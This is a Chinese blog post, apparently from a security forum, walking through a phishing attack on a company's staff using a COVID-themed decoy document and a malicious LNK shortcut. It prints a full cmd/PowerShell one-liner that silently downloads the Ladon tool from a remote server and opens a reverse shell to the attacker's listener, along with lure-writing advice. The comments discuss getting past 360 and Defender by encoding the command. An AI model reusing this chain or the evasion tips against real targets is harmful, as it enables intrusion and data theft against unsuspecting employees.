一次假想的LNK钓鱼攻击
一次假想的LNK钓鱼攻击
演练流程
目标及规定
为了获取A集团的资料信息，但目标web网站防护很好，现在收集了A集团一些员工的邮箱，只能通过钓鱼进行攻击。
工具
由于这是一次隐蔽的行动，所有工具尽可能的使用敌对开源软件。
来自某国的开源软件：Ladon、一份加密的有关新冠疫苗的文档、以及用来释放Ladon的LNK文件。
攻击流程图
实施
制作加密文档
文档主题根据目标公司性质来决定，如果是进行广撒网式的攻击，可以选择当地国家/地区热点事件，比如新冠疫苗XXXX,这里我采用的是最新!持核酸检测阴性结果返乡不需要隔离，不需要去写什么密码提示，比如查看pasword.txt之类的，这很容易引起怀疑，按照惯性，他/她看见有密码会下意识去点击我们的LNK文件
LNK文件制作
LNK文件最核心的代码是这个
#a.exe即是Ladon
cmd.exe /c (echo ”hello“ >D:\test\1\password.txt & start /b D:\test\1\password.txt) & (powershell.exe -nop -w hidden iwr -outf D:\test\1\nc.exe http://vps/download/a.exe & D:\test\1\nc.exe ReverseTcp 192.168.12.201 4444 nc)上面这一串cmd命令的意思是把“hello"写入D:\test\1\password.txt，并打开这个文件，然后从vps服务器上下载a.exe到D:\test\1\目录下命名为nc.exe，最后执行nc.exe ReverseTcp vps 4444 nc 反弹shell到我的vps 监听nc上。
最后把这两个文件打包即可。
模拟目标行为
点击password.txt会释放nc.exe和password.txt到D:\test\1
查看我们的监听可以看到已经上线了。
转载
分享
发布投稿
@凡星点点929
@Xznpu @Xznpu
@凡星点点929 你可以看看这个样本分析https://isc.sans.edu/forums/diary/Guest+Diary+Tricky+LNK+points+to+TrickBot/25290/
大佬，是编码进行绕过吗？怎么进行编码呀？我试了很多混淆的方法都不行，只能请教一下你了
@马化云腾 xd，不可能执行powershell就拦截的啦，而且我上面给的那个命令是最简单的，实战中完全还可以编码等方式绕过的。
@马化云腾 去看看攻击样本吧
@马化云腾 xd你这成分有问题啊
@Xznpu 拦的就是你powershell执行命令，powershell -c ipconfig都拦。LNK执行一个powershell命令还不够明显吗
@马化云腾 360拦截powershell脚本，那么拦截机制是什么呢，有二进制签名的powershell脚本会拦截嘛？我还有一篇文章先知还没审核，有讲这个
@马化云腾 我只能说我测试的时候是没问题的，但defend有报警，但也是有解决办法的
@Xznpu 你确定你开360了吗大兄弟？lnk有powershell 360必拦
@ybdt 哈哈哈，免杀还是好解决的
一次无免杀的钓鱼攻击：）
@马化云腾 建议本地尝试，释放的文件没问题就没问题
360安全卫士：360已成功拦截LNK攻击。